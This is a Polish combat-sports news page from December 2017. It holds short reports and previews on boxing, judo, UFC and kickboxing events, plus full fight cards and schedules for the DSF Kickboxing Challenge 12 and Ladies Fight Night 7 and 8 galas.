Luis Ortiz czeka na największy sukces w karierze. Dotychczas był tymczasowym mistrzem WBA. 38-latek chce pokazać, że jego dopingowa przeszłość to już tylko wspomnienie i prezentuje najwyższy poziom sportowy. Kubańczyk wygrał wszystkie 28 walk i z pewnością będzie najtrudniejszą przeszkodą na drodze Wildera, który tytuł WBC wywalczył blisko trzy lata temu i dotychczas sześciokrotnie skutecznie go bronił.
Tym razem Amerykanin jest również pewny swego. – Zapytałem go, kiedy chce walczyć i powiedział, że może teraz. Będę zabiegał o to starcie. Myślę, że pokonam go w czterech rundach – powiedział Deontay Wilder.
Fot. Deontay Wilder Facebook
KM
Polscy judocy nie poprawili swojego dorobku w zawodach International Judo Federation Masters. W Petersburgu najlepiej z naszych zaprezentował się Maciej Sarnacki (+100kg), który zajął piąte miejsce. W klasyfikacji medalowej triumfowała Japonia
W turnieju IJF Masters wystąpiło pięcioro Polaków. Marzenia czterech judoczek szybko zostały przekreślone. Do końca o medal walczył Maciej Sarnacki (+100kg).
Zabrakło niewiele
Urszula Sadkowska (+78kg) nadal pozostaje jedyną reprezentantką Polski, która stanęła na podium zawodów Masters. Siedem lat temu judoczka sięgnęła po brąz. W kolejnych startach naszym wiodło się różnie, niektórym do zdobycia medalu brakowało naprawdę niewiele. Tym razem było podobnie. 30-letni Maciej Sarnacki, w swoim debiucie w IJF Masters, zajął piątą pozycję. W tym roku zawodnik olsztyńskiej Gwardii po raz kolejny musiał obejść się smakiem. O krok od podium był również podczas mistrzostw Europy, które w kwietniu odbyły się w Warszawie.
Co do występu Sarnackiego w Petersburgu, w pierwszym starciu Polak trafił na dwukrotnego wicemistrza Azji Iuria Krakovetskiego. 25-latek wytrzymał tylko dwie minuty. Sarnacki szybko załatwił sprawę, a jego kolejnym rywalem był Stanislav Bondarenko. Ukrainiec po raz trzeci startował w turnieju Masters i osiągnął najlepszy wynik — był siódmy, ale rywalizację z judoką Gwardii przegrał. O finał Polakowi przyszło walczyć z liderem światowych list. David Moura zapisał na swoim koncie dwukrotnie waza-ari, zaś Sarnacki dwie kary shido i musiał walczyć o brąz. Alex Garcia Mendoza postawił trudne warunki Polakowi. Obaj zawodnicy próbowali, ale decydującą akcję przeprowadził Kubańczyk.
Szczęścia nie miała Anna Borowska (57kg). W pierwszej walce Polka trafiła na wicemistrzynię świata i złotą medalistkę azjatyckiego czempionatu Tsukasę Yoshidę. Zacięty pojedynek stoczyła Agata Ozdoba-Błach (63kg), jednak ostatecznie musiała uznać wyższość Mungunchimeg Baldorj z Mongolii. Równie krótko trwała przygoda z rosyjskim turniejem Agaty Perenc (52kg) i Beaty Pacut (78kg).
Japonia najlepsza
Funa Tonaki (48kg), Miku Tashiro (63kg), Ryuju Nagayama (60kg) i Soichi Hashimoto – wywalczyli złote medale dla Kraju Kwitnącej Wiśni. Ich koledzy dołożyli jeszcze dwa srebra i brąz, co pozwoliło Japonii triumfować w klasyfikacji końcowej.
Trzy złota na swoim koncie zapisali Gruzini (łącznie pięć medali i druga lokata w klasyfikacji generalnej), a po dwa zdobyli judocy z Rosji (pięć) i Mongolii (cztery).
W Petersburgu zaprezentowało się 212 judoków.
KM
Każde doświadczenie jest cenne i warto próbować realizować się w nowych obszarach. Coraz częściej słyszymy doniesienia o bokserach, którzy mieliby rywalizować w MMA. W ostatnim czasie w tym gronie znaleźli się Artur Szpilka, Krzysztof Zimnoch i Mateusz Masternak.
To znak czasów — zapytają niektórzy? Wzrasta popularność MMA, a co za tym idzie i możliwości. Jak jest naprawdę?
Czas MMA?
Fani sportów walki emocjonują się galami UFC, a w krajowym wydaniu KSW, FEN czy PLMMA. Ściskają kciuki za swoich ulubieńców i dostrzegają, że grono chętnych do wejścia do oktagonu stale się powiększa. Co ciekawe, pojawiają się ciekawe nazwiska znane z bokserskich ringów. Swego czasu James Toney zdecydował się rywalizować w MMA, z naszych zawodników można wymienić Rafała Jackiewicza.
W sierpniu świat patrzył na Las Vegas. Bo doszło do spotkania boksera i fightera MMA, czyli Floyda Mayweathera Jr. i Conora McGregora. Areną walki nie był oktagon, lecz ring. Choć mówimy o tych, którzy pięściarstwo chcą zamienić na MMA warto zauważyć, że pewien przełom się dokonał. Granica zaczyna się zacierać. Giełda nazwisk jest szeroka. Oczywiście obowiązują jeszcze pewne zasady i kanony, więc |(chyba) nagle Anthony Joshua czy Vasyl Łomaczenko nie zapragną rywalizować w MMA. A Tony Ferguson czy Jose Aldo nie obiorą odwrotnej drogi. Chyba nie jesteśmy jeszcze na takim etapie, choć wszystko przed nami.
Popularność MMA rośnie, dyscyplina ma coraz więcej fanów, a jej zasięg powiększa się. Boks nie stoi na straconej pozycji, bo to fantastyczna dyscyplina, ale wielokrotnie walki nie są tak widowiskowe jak te w oktagonie. Najlepszą reklamą ringowych potyczek było starcie Włdmira Kliczko i Anthony’ego Joshuy. Kibice chcieliby więcej takich strać. A co do samych zawodników, czy pojawiło się zagrożenie, że zdecydują się na emigrację? Zapewne są tacy, którzy będą chcieli spróbować sił w MMA, ale nie dotyczy to pierwszoplanowych postaci. Raczej tych próbujących się odbudować i szukających nowej ścieżki.
W końcu walka Zimnocha i Szpilki?
Temat ten ciągnie się niczym wenezuelska telenowela i ciągle wraca. Panowie mają rachunki do wyrównania, jednak ciągle im nie po drodze. Niedawno Krzysztof Zimnoch wyjawił, że chce spróbować swoich sił w MMA. Od razu pojawiły się doniesienia na temat jego potyczki ze Szpilką. Spotkania „Szpili” ze współwłaścicielem KSW Martinem Lewandowskim utkwiły w pamięci kibiców. Już latem mówiło się o możliwości rywalizacji boksera z Wieliczki na gali najlepszej organizacji MMA w Polsce. Obaj mają za sobą trudne ringowe doświadczenia. Szpilka przegrał z Adamem Kownackim, a Zimnoch z Joeyem Abellem. Czy będą próbowali odbudować się w MMA?
Niedawno z ust byłego mistrza Europy w wadze junior ciężkiej Mateusza Masternaka padły słowa o chęci walki w oktagonie. Deklaracja 30-latka dotarła do uszu właścicieli KSW, którzy planują spotkanie z pięściarzem. Z tym, że Masternak ma dobrą serię, bo cztery ostatnie ringowe potyczki wygrał.
Kiedyś mówiło się, że w MMA mieliby rywalizować Krzysztof Włodarczyk i Tomasz Adamek. „Góral” odrzucił propozycję KSW. Ale jak widać bokserzy są łakomym kąskiem, ale wcześniej musieli zaistnieć. Zatem mają być magnesem, gwiazdami gal. Jednak warto zadać pytanie — czy MMA dla tych, którzy zmienią profesję ma być tzw. deską ratunku, a może jednak dalszą ścieżką rozwoju? Pożyjemy i zobaczymy, kto zdecyduje zamienić ring na oktagon.
KM
Zbliżają się zawody International Judo Federation Masters, które odbędą się w najbliższy weekend w Petersburgu. Nie zabraknie polskich akcentów. W Rosji zaprezentuje się pięcioro biało-czerwonych.
W dotychczasowej historii IJF Masters Polacy zdobyli jeden medal. Czy w Petersburgu wzbogacą swój dorobek?
Najlepsi
Trzeba otwarcie przyznać, że IJF Masters to starcie tytanów, judo na najwyższym poziomie, uczta dla fanów dyscypliny. Dlaczego? Bo w turnieju startują najlepsi z najlepszych. W IJF Masters rywalizują judoczki i judocy z miejsc 1-16 światowego rankingu. Zdarza się jednak, że ktoś nie potwierdzi udziału w imprezie. Wtedy w jego miejsce wskakuje zawodnik z dalszej pozycji. Zatem stawka jest niezwykle wyrównana i czasami wskazanie faworytów jest niczym wróżenie z fusów. Jedno jest pewne — w szale przedświątecznych przygotowań, miłośnicy judo nie mogą przegapić zmagań w Petersburgu.
Polscy kibice będą ściskać kciuki za: Agatę Perenc (52kg), Annę Borowską (57kg), Agatę Ozdobę-Błach (63kg), Beatę Pacut (78kg) oraz Macieja Sarnackiego (+100kg). Smak rywalizacji w turnieju Masters z wymienionego grona poznała tylko tegoroczna brązowa medalistka mistrzostw świata, które odbyły się w Budapeszcie. Jednak ze startu w Rabacie Ozdoba-Błach nie ma najlepszych wspomnień. W tym roku akcje Polki stoją wysoko, judoczka zajmuje 16. miejsce w światowym rankingu i jest na fali. Odniosła największy sukces w karierze, stanęła na trzecim stopniu podium mistrzostw świata, wygrała zawody w Mińsku, a w Pradze i Abu Dhabi zdobyła brązowe medale. A na polu prywatnym wyszła za mąż. W ostatnim czasie w życiu 29-latki dzieje się wiele pozytywnych rzeczy, dlatego do Petersburga jedzie z nadziejami na kolejny dobry wynik.
Nie da się ukryć, że Anna Borowska osiąga bardzo dobry wyniki. W światowym rankingu 23-letnia Polka plasuje się na 20. lokacie. W tym roku triumfowała w trzech turniejach — w Pradze, Casablance i Taszkiencie. Do tego Borowska dołożyła brąz w Mińsku, blisko podium była w Hadze. Z kolei w Grand Slam w Abu Dhabi zajęła 7. pozycję, co jest jej najlepszym wynikiem w zawodach tej rangi. Równą formę prezentuje również Agata Perenc. W tym roku zawodniczka Polonii Rybnik stawała na każdym stopniu podium. Imponuje również 22-letnia Beata Pacut. Judoczka osiągnęła najlepszy wynik w karierze zajmując 2. miejsce w Grand Prix w Taszkiencie. Ostatnio wywalczyła brąz mistrzostw Europy U23.
Piętnasty w światowym rankingu jest Maciej Sarnacki. Judoka Gwardii Olsztyn był o krok od medalu mistrzostw Europy, w Warszawie zajął 5. miejsce. Jesienią Sarnacki imponował formą, co miało odzwierciedlenie w jego wynikach. W Abu Dhabi i Hadze Polak awansował do rywalizacji o złoto, ale w obu przypadkach przegrał.
Poprawić dorobek
W 2010 roku w Suwon Urszula Sadkowska (+78kg) wywalczyła brąz i jak dotąd jest to jedyny medal Polski w zawodach IJF Masters. Biało-czerwoni mogli poprawić ten wynik we wcześniejszych startach, jednak musieli obejść się smakiem.
W 2011 roku w Baku Janusz Wojnarowicz (+100kg) uplasował się na 5. pozycji, tak jak i rok później w Ałma Acie Tomasz Kowalski (66kg) i Tomasz Adamiec (73kg). Ostatni występ, 2016 Guadalajara, z Polaków na IJF Masters zaliczyła Arleta Podolak (57kg), ale odpadła w eliminacjach.
fot. IJf/Facebook
KM
Przed 34-letnim Polakiem ósma walka w UFC. 16 grudnia na gali w MTS Centre w Winnipeg Jan Błachowicz zmierzy się z Jaredem Cannonierem.
Trzy lata trwa przygoda polskiego fightera z najlepszą organizacją MMA na świecie. W tym czasie nie brakowało wzlotów i upadków.
Był pod ścianą
Jan Błachowicz miał fantastyczne wejście do UFC. W październiku 2014 roku, na gali UFC Fight Night 53, zawodnik pochodzący z Cieszyna potrzebował niespełna dwóch minut, aby pokonać Ilira Latifiego. Mocne kopnięcie w głowę i zapędy Szweda zostały powstrzymane. Błachowicz mógł tylko zwieńczyć dzieło i cieszyć się z pięknego rozpoczęcia przygody w UFC. Tym samym zamknął usta niedowiarkom. Ale jak wiadomo — czas wszystko weryfikuje. Kolejne walki Błachowiczowi po prostu nie wyszły. Przegrał przed polską publicznością w Krakowie z Jimim Manuwą, a następnie zanotował porażkę w starciu z Coreyem Andersonem. Akcje Polaka spadły, a jego przyszłość w UFC stanęła pod znakiem zapytania.
Błachowicz musiał pokonać w Zagrzebiu zawodnika gospodarzy — Igora Pokrajaca. I zrobił to! Były mistrz KSW śmiało poczynał sobie w klatce. Druga i trzecia runda w jego wykonaniu wyglądały bardzo dobrze. Polak sprowadzał rywala do parteru i częstował go ciosami. Sędziowie jednogłośnie wskazali na zwycięstwo Błachowicza, który mógł odetchnąć z ulgą. W kolejnej walce musiał stawić czoła mocnemu Alexandrowi Gustafssonowi. Szwed wracał do rywalizacji po blisko rocznej absencji, jednak szybko przejął inicjatywę. Błachowicz nie mógł się odnaleźć, Gustafsson sprowadzał walkę do parteru i konsekwentnie zmierzał do zwycięstwa. 34-latek miał odbudować się w pojedynku z Patrickiem Cumminsem, ale mu się nie udało.
Ponownie sytuacja Błachowicza wyglądała nieciekawie. 34-latek dostał szansę na zaprezentowanie się przed własną publicznością. Tym razem w Gdańsku. Takiego Błachowicza kibice chcieliby oglądać zawsze. Polak okazał się skuteczny do bólu, o czym dotkliwie przekonał się Devin Clark. W drugiej rundzie 34-latek pochodzący z Cieszyna wygrał przez duszenie zza pleców i otrzymał bonus — 50 tysięcy dolarów. Trzy zwycięstwa, cztery porażki — to bilans Polaka w UFC. Czy na gali UFC on Fox 26 poprawi tę statystykę?
Wygrana na święta
Dla Jana Błachowicza najlepszym prezentem pod choinkę będzie wygrana 16 grudnia z Jaredem Cannonierem. Początkowo Amerykanin miał rywalizować z Antonio Rogeiro Nogueirą. Brazylijczyk wypadł jednak z karty walk z racji problemów z amerykańską agencją dopingową, a jego miejsce zajął Błachowicz. Dotychczas 33-letni Amerykanin stoczył pięć walk w UFC, z których wygrał trzy. Łącznie ma na koncie dziesięć triumfów w dwunastu starciach. Ostatnio przed czasem pokonał Nicka Roehricka. Warto dodać, że Cannonier większość pojedynków kończy przed czasem.
Obaj chcą wygrać po raz czwarty w UFC. Błachowicz mógłby wykonać krok w stronę najlepszej dziesiątki kategorii półciężkiej. 34-latek jeszcze nigdy nie wygrał dwóch walk z rzędu w UFC. Będzie ten pierwszy raz?
Fot. Jan Błachowicz Facebook
KM
Zapraszamy do obejrzenia galerii zdjęć z gali PLMMA 75 autorstwa fotografa Pawła Grabowskiego:
Wasyl Łomaczenko po raz kolejny udowodnił wielką klasę i obronił pas mistrza świata WBO wagi super piórkowej. W Nowym Jorku wyższość Ukraińca musiał uznać Guillermo Rigondeaux. Do niespodzianki doszło w Londynie. James DeGale przegrał niejednogłośnie na punkty z Calebem Truaxem i stracił tytuł mistrza świata IBF wagi super średniej.
W przypadku Wasyla Łomaczenko mówiło się, że czeka go trudne wyzwanie. Rigondeaux to znakomity defensor, ale Ukrainiec skutecznie skruszył mury obronne rywala.
Pełna dominacja
29-letni Łomaczenko ma na swoim koncie dwa mistrzostwa olimpijskie. Jego kariera amatorska była niezwykle bogata. Już wtedy udowodnił, że drzemią w nim ogromne możliwości. Na zawodowym ringu pojawił się w październiku 2013 roku i przez nokaut pokonał Jose Ramireza. Była to znakomita zapowiedź dalszej ścieżki ukraińskiego pięściarza. Obecnie Łomaczenko uchodzi za niezwykle mocnego pięściarza, na którego czeka jeszcze wiele wyzwań. 29-latek zachwyca, a jego promotor Bob Arum rozpływa się w pochwałach nad jego możliwościami.
W Nowym Jorku rywalem Łomaczenki był niepokonany Guillermo Rigondeaux. Pierwsza runda rozpoznawcza. Nikt nie chciał zaryzykować, bo obaj pięściarze zdawali sobie sprawę z klasy rywala. Ale w kolejnych minutach obraz walki diametralnie się zmienił. Łomaczenko przyspieszył tempo, skutecznie atakował i kontrolował pojedynek. Dynamiczne akcje Ukraińca wprawiały w zakłopotanie Kubańczyka, który preferuje zdecydowanie wolniejsze tempo. Łomaczenko trafiał całymi seriami, Rigondeaux był bezradny i nie potrafił się skutecznie bronić. Jedynym ratunkiem dla 37-latka był klincz. W szóstej rundzie Łomaczenko zdemolował rywala. Po niej Kubańczyk poddał się, powód: kontuzja lewej ręki.
Dla Ukraińca było to dziesiąte zwycięstwo w karierze. Łomaczenko obronił pas WBO wagi super piórkowej, teraz ma atakować kategorię lekką.
Niespodzianka
W maju 2015 roku w Bostonie James DeGale pokonał jednogłośnie na punkty Andre Dirrella i sięgnął po pas mistrza świata IBF kategorii super średniej. Anglik trzy razy skutecznie bronił tytułu. Kolejnym pięściarzem, który chciał pozbawiać DeGale'a pasa był Caleb Truax.
34-letni Amerykanin zaskoczył mistrza. Truax nie pozostawał bierny i wywierał presję na rywalu, który musiał się bronić. Od piątego starcia sytuacja DeGale'a wyglądała coraz gorzej. Anglik przyjmował mocne ciosy, a jego reakcje w żaden sposób nie zagrażały pretedentowi. Truax wygrał niejednogłośnie na punkty – 116:112, 115:112, 114:114. Niespodzianka stała się faktem, DeGale stracił pas.
Fot. Facebook Wasyl Łomaczenko
KM
Michał Turyński wybrał się do Chin, aby wziąć udział w turnieju King of Kungfu Champion Fight 2017. Polski kickboxer udanie rozpoczął zmagania i w pierwszej walce wygrał przez nokaut.
Zawodnik Punchera Wrocław nie raz pokazał, że potrafi z powodzeniem rywalizować na arenie międzynarodowej. Czy w turnieju, który odbywa się w Qianan w prowincji Hebei Polak odniesie kolejny sukces?
Efektowny wojownik
Rywalizujący w wadze ciężkiej Turyński to jeden z najbardziej rozpoznawalnych polskich kickboxerów. Wszystkich wprawił w euforię w marcu 2016 roku, kiedy w Sarajewie wywalczył pas zawodowego mistrza świata organizacji WAKO. Turyński pokonał lokalnego faworyta Dzevada Poturaka. Zacięta walka, niezwykle twarda i pełna emocji. Polak wygrał niejednogłośnie na punkty, czym wprawił w rozpacz rywala i wywalczył pas w wadze superciężkiej. Bośniak przegrał po raz pierwszy od dwunastu lat na własnym terenie!
Ale Turyński może pochwalić wieloma sukcesami, które pozwoliły mu wypracować markę cenionego kickboxera. Nie tylko w kraju, ale i poza jego granicami. Wystarczy wspomnieć o dwóch złotych medalach Pucharów Świata i brązie mistrzostw Europy w K-1. W tym roku zawodnik miał zapisać na swoim koncie krążek The World Games. Turyńskiemu przyszło rywalizować we Wrocławiu, więc mógł liczyć na gorący doping. Zawodnik pochodzący z Ciepłowód dostał dziką kartę od organizatorów i wymieniany był jako faworyt do złota. Los jednak mu nie sprzyjał. W ćwierćfinale Polak znokautował Chorwata Ante Verunicę, ale odnowiła mu się kontuzja stopy i musiał pożegnać się z marzeniami o medalu.
Ostatnio kibice mogli podziwiać Michała Turyńskiego podczas gali DSF 11. Zawodnik Fightera Wrocław zaprezentował się w meczu Polska – Francja, który biało-czerwoni pewnie wygrali 5:0. Turyński rozstrzygnął swoją walkę już w pierwszej odsłonie. Kevin Minounmana był bezradny wobec latającego kolana Polaka.
Teraz Michał Turyński obrał kierunek Chiny. W pierwszej walce już zachwycił obserwatorów i pokazał, że jest fighterem najwyższej klasy. Rywal z Chin był bezradny wobec dyspozycji, przygotowania i doświadczenia Turyńskiego, który zwyciężył w drugiej rundzie. Polak wyprowadził wysokie kopnięcie na głowę i znokautował przeciwnika. W kolejnej rundzie Turyński zmierzy się z Tsotne Rogavą. Walka odbędzie się 12 grudnia.
Mocny rywal
Z pewnością rywalizacja z Tsotne Rogavą będzie dla Turyńskiego ogromnym wyzwaniem. Zawodnik reprezentujący Ukrainę jest mistrzem świata muay thai. W pierwszej walce pokonał znanego Konstantina Gluhova, którego znokautował kopnięciem na głowę. Mający gruzińskie korzenie Rogava potrafi walczyć niezwykle efektownie i skutecznie. Szykuje się ciekawa walka. Oby po niej cieszył się zawodnik z Polski.
Fot. pzkickboxing.pl
KM
DSF Kickboxing Challenge 12: Ceremonia ważenia w piątek 8 grudnia o 13:00 w Restauracji Champions
Po rocznej przerwie kibicom K-1 znów udzieli się niepowtarzalny sportowy klimat warszawskiej Restauracji Champions, w której 9 grudnia odbędzie się gala DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II. Dzień wcześniej o godzinie 13:00 w tym samym miejscu odbędzie się oficjalna ceremonia ważenia, na której oprócz zawodników występujących na sobotniej gali obecni będą także przedstawiciele złotego pokolenia polskiego kickboxingu – m.in. Przemysław Saleta i pierwszy mistrz świata znad Wisły – Piotr Siegoczyński.
Gala DSF Kickboxing Challenge 12 to najmocniej obsadzona impreza kickbokserska tego roku. Odbędą się na niej dwie arcyciekawe walki o mistrzowskie pasy, a także wyczekiwany debiut w federacji Daniela Omielańczuka oraz wieńczące wspaniałą trylogię K-1 starcie stołecznej gwiazdy hip hopu Jurasa Wrońskiego ze zwycięzcą turnieju DSF Eliminator Piotrem Sokołem. Dopełnieniem tego kickbokserskiego święta będzie benefis polskich legend sportu z Markiem Piotrowskim, Przemysławem Saletą, Marcinem Różalskim, Piotrem Siegoczyńskim i Agnieszką Rylik na czele.
W pojedynku wieczoru DSF Kickboxing Challenge 12 do pierwszej obrony tytułu mistrza DSF w kategorii do 81 kilogramów przystąpi Kamil Jenel (23-5) Rywalem szalenie efektownie walczącego śląskiego kozaka, który dwa miesiące temu w wielkim stylu zdobył pas na gali DSF ELIMINATOR,, będzie lubiący sprawiać niespodzianki Rumun Mircea Eduard Andronache (15-6-1). W drugiej walce mistrzowskiej znakomity Białorusin Piotr Romankiewicz (24-4) będzie bronić swojego trofeum kategorii superciężkiej w starciu z doświadczonym Danielem Claudem Lentie (64-10-2) z Kamerunu.
Wielką gratką dla fanów sportów walki będzie również wyczekiwany debiut Daniela Omielańczuka (19-8-1 w MMA) w federacji DSF Kickboxing Challenge. Warszawski fighter wraca do korzeni po wieloletnich występach w UFC. Jego pierwszym rywalem w K-1 będzie dobrze znany polskim kibicom były brytyjski strongman Oli Thompson (17-10 w MMA, 2-0 w boksie i 1-0 w K-1), który od 2009 roku z powodzeniem rywalizuje w MMA oraz kickboxingu. 36-letni Thompson walczył już dla takich federacji jak UFC, Bellator i KSW. Teraz zapowiada, że zgotuje Omielańczukowi chłodne przywitanie w Polsce. Czy tak właśnie będzie? Przekonamy się 9 grudnia.
Na DSF Kickboxing Challenge 12 dopełni się także fascynująca trylogia pomiędzy warszawskim raperem Jerzym „Jurasem” Wrońskim (9-1) a triumfatorem turnieju DSF ELIMINATOR – Piotrem Sokołem (11-6). W dotychczasowych dwóch walkach zwyciężał Juras, ale w rewanżu na DSF Kickboxing Challenge 10 w Nowym Sączu gwiazdor hip-hopu był liczony po mocnym ciosie i pokonał krakowianina minimalnie na punkty, z czym ten drugi do dziś nie może się pogodzić. Na ringu w Restauracji Champions zawodnicy w końcu rozstrzygną ciągnący się od dawna konflikt. Kto będzie górą?
Tej samej nocy drugi pojedynek dla federacji stoczy złoty medalista World Games 2017 we Wrocławiu Dawid Kasperski (20-6-1), który pewnie zmierza po mistrzowski pas w kategorii do 86 kilogramów. Na drodze Polaka tym razem stanie bardzo mocny Francuz Mehdi Bouanane (22-7), który w czerwcu w wielkim stylu zwyciężył w prestiżowym finałowym turnieju Enfusion Reality w Tajlandii.
Karta walk DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II:
Walka nietelewizyjna (3 x 3 min)
1. Muay Thai (-67 kg) Sebastian Janiak vs Mateusz Janik
Walki rankingowe (3 x 3 min):
2. K-1 (-65 kg) Murat Azerbiev vs Aleksiej Fedoseev
3. K-1 (-81 kg) Kamil Ruta vs Dawid „Mirko” Mirkowski
4. K-1 (-75 kg) Piotr Sokół vs Jerzy „Juras” Wroński
5. K-1 (-86 kg) Dawid Kasperski vs Mehdi Buoanane
6. K-1 (+91 kg) Daniel Omielańczuk vs Oli Thompson
Co-Main Event – Walka o pas DSF Kickboxing Challenge w wadze ciężkiej (5 x 3 min):
7. K-1 (+91 kg) Piotr Romankiewicz vs Daniel Claude Lentie
Main Event – Walka wieczoru o pas DSF Kickboxing Challenge (5 x 3 min):
8. K-1 (-81 kg) Kamil Jenel vs Mircea Eduard Andronache
9 grudnia w Restauracji Champions w Hotelu Marriott w Warszawie otwarcie bram dla kibiców nastąpi o godzinie 18:00. Początek gali „DSF Kickboxing Challenge 12: Najlepsi z Najlepszych II” o godzinie 19:00. Transmisja na żywo w Canal+ Now, Player.pl oraz DSFLIVE.com (międzynarodowo). Bilety zostały wyprzedane.
Double Trouble już za niespełna tydzień w Łodzi – dwa dni, dwie gale.
Na naszej najbliższej, urodzinowej gali kobiecych sportów walki federacji Ladies Fight Night zobaczymy wojowniczki, które występowały na wielu prestiżowych galach przygotowywanych przez światowe organizacje tj. UFC, Invicta, Bellator, Glory czy KunLun.
Walki w formułach MMA i K1
Już za kika dni zelektryzują nas starcia między innymi takich wojowniczek jak Żaneta Cieśla vs Silvia La Notte (Włochy) czy Patricia Axling (Szwecja) vs. Cindy Silvestri (Francja) głównie z uwagi na ogrom ich doświadczenia w ringu.
Łódź i lokalne akcenty
Łodzianka, Katarzyna Sadura skrzyżuje rękawice ze Stephanie Egger (Szwajcaria), która znana jest również z walk w organizacji Invicta. Sadura ostatnio wygrała pojedynek w Poznaniu z bardzo doświadczoną Suvi Salmiemies (Finlandia). Liczymy na to, że w swoim rodzinnym mieście przy dużym wsparciu wiernych fanów powtórzy ten sukces.
Main Event na LFN 8
W walce wieczoru podczas LFN 8 (sobota) w formule MMA walczyć będą Carolina Jimenez znana z naszej poprzedniej gali "IRA" w Ossie z Maguy Berchel (Francja). Liczymy na wspaniałe widowisko sportowe.
Karolina Owczarz zadebiutuje na gali LFN 7!
Zaskoczeni? My nie! Już w piątek będziemy mogli podziwać debiut Karoliny Owczarz, która razem z Andrzejem Janiszem poprowadzi studio komentatorskie na gali Ladies Fight Night.
Hymn LFN w zaskakującej aranżacji tylko w Łodzi podczas gali LFN 8
Podczas gali LFN 8 atrakcją wieczoru będzie łódzki zespół Samokhin Band. Przystojni muzycy zaprezentują się w nowej odsłonie i wykonają hymn LFN z instrumentami na żywo (trąbka, saksofon, piano, perkusja, konga, gitara i bass) JAZZ vs RAP ? Sprawdźcie to!
Ceremonia Ważenia i Media Trening – po raz pierwszy również dla kibiców!
W piątek, 15.12.2017 od godz. 13.00, pragniemy zaprosić wszystkich chętnych na ceremonię ważenia, połączoną ze spotkaniem z zawodniczkami na terenie łódzkiej Wytwórni, wejście od ulicy Łąkowej 29. Na żywo będzie można podpatrzeć gorączkę przedgalową, zrobić zdjęcie ze swoimi idolami oraz odebrać plakat z autografami.
Wejściówki
Do piątku 08.12.2017, do godz. 20.00 wszystkie zarejestrowane osoby otrzymają informację o statusie swojej wejściówki na “Double Trouble”.
Harmonogram LFN 7 – piątek 15.12.2017
17.30 – 18.45 odbiór wejściówek dla tych osób, które otrzymały pozytywną odpowiedź w procesie rejestracji na www.lfn.com.pl. Wejście od strony Wytwórni, ul. Łąkowa 29.
18.30 drzwi otwarte
19.00 start gali LFN 7
Harmonogram LFN 8 – sobota 16.12.2017
17.30 – 18.45 odbiór wejściówek dla tych osób, które otrzymały pozytywną odpowiedź w procesie rejestracji na www.lfn.com.pl. Wejście przez główne drzwi hotelu Hilton, ul. Łąkowa 29
18.30 drzwi otwarte
19.00 start gali LFN 8
*Bardzo prosimy o zabranie ze sobą dokumentu tożsamości, który będzie niezbędny przy odbiorze wejściówek.
Transmisja gali
Gale Ladies Fight Night "Double Trouble" LFN 7 i LFN 8 podobnie jak wszystkie poprzednie będą transmitowane bezpłatnie. Dostęp na naszym fanpage'u na Facebook'u oraz www.lfn.com.pl.
15 grudnia
Lp. |
formuła |
czerwony narożnik |
rekord |
kraj |
niebieski narożnik |
rekord |
kraj |
waga |
1. |
K1 |
Sandra Drabik |
(4-1-0) |
Polska |
Magdalena Kasprzyk |
(2-1-0) |
Polska |
52kg |
2. |
MMA |
Katarzyna Lubońska |
(5-2-0) |
Polska |
|
|
|
57kg |
3. |
K1 |
Katarzyna Posiadała |
(5-1-0) |
Polska |
Erica Bjornestrand |
|
Szwecja |
63,5kg |
4. |
MMA |
Izabella Badurek |
(6-3-0) |
Polska |
Zarah Fairn |
(5-2-0) |
Francja |
64kg (catchweight) |
5. |
K1 |
Joanna Walorska |
(14-7-0) |
Polska |
Tereza Dvorakova |
(25-7-0) |
Czechy |
60kg |
6. |
K1 |
Monika Bohn |
(2-3-0) |
Polska |
Josefine Knutson |
(2-1-0) |
Szwecja |
50kg (catchweight) |
7. |
MMA |
Katarzyna Biegajło |
(2-0-0) |
Polska |
|
|
|
57kg |
8. |
K1 |
Żaneta Cieśla |
^ |
Polska |
Silvia La Notte |
(41-9-3) |
Włochy |
50kg (catchweight) |
9. |
K1 |
Magdalena Sormova |
(4-1-0) |
Czechy |
Cristina Stanciu |
(5-2-0) |
Rumunia |
52kg |
16 grudnia
Lp. |
formuła |
czerwony narożnik |
rekord |
kraj |
niebieski narożnik |
rekord |
kraj |
waga |
1. |
MMA |
Hanna Gujwan |
(1-1-0) |
Polska |
Minna Grusander |
(3-1-0) |
Finlandia |
50kg (catchweight) |
2. |
MMA |
Weronika Zygmunt |
(3-3-0) |
Polska |
Karolina Iverenova |
(1-0-0) |
Rosja |
52kg |
3. |
K1 |
Natalia Leciejewska |
(2-1-0) |
Polska |
Karolina Kubiak |
(0-0-0) |
Polska |
48kg |
4. |
MMA |
Barbara Nalepka |
(4-2-0) |
Polska |
Elina Kallionidou |
(5-2-0) |
Grecja |
57kg |
5. |
MMA |
Sylwia Juśkiewicz |
(7-5-0) |
Polska |
Samin Kamal Beik |
(2-1-0) |
Włochy |
52kg |
6. |
K1 |
Patricia Axling |
(27-3-0) |
Szwecja |
Cindy Silvestri |
(26-12-1) |
Francja |
57kg (catchweight) |
7. |
MMA |
Judyta Rymarzak |
(0-0-0) |
Polska |
Marta Waliczek |
(0-0-0) |
Polska |
57kg |
8. |
K1 |
Małgorzata Dymus |
(2-2-0) |
Polska |
Joanna Różańska |
(1-0-0) |
Polska |
56kg |
9. |
MMA |
Katarzyna Sadura |
(3-2-0) |
Polska |
Stephanie Egger |
(2-1-0) |
Szwajcaria |
61kg |
10. |
MMA |
Carolina Jimenez |
(6-0-0) |
Wenezuela |
Maguy Berchel |
(8-2-0) |
Francja |
57kg |
Już 15 i 16 grudnia 2017 r. niezwykłe wydarzenie na polskiej scenie sztuk walk. Federacja Ladies Fight Night na drugie urodziny przygotowała dwie gale zawodowe dzień po dniu. Największa w Europie i druga na świecie federacja kobiecych sztuk walk po raz kolejny udowadnia, że podejście do organizacji gal jak i sam pomysł na prowadzenie tego rodzaju federacji nie znają ograniczeń. Jedynym ograniczeniem włodarzy LFN jest tylko ich wyobraźnia. Zapraszamy!!!
[kod]
Zapraszamy na transmisję telewizyjną na żywo z dwóch gal urodzinowych federacji Ladies Fight Night. Transmisja dostępna będzie tylko i wyłącznie na Fan Page federacji LFN na nFaceBook-u pod adresem:
https://www.facebook.com/LadiesFightNight/
[kod]
Zapraszamy na transmisję telewizyjną na żywo z dwóch gal urodzinowych federacji Ladies Fight Night. Transmisja dostępna będzie tylko i wyłącznie na Fan Page federacji LFN na nFaceBook-u pod adresem:
https://www.facebook.com/LadiesFightNight/
[kod]
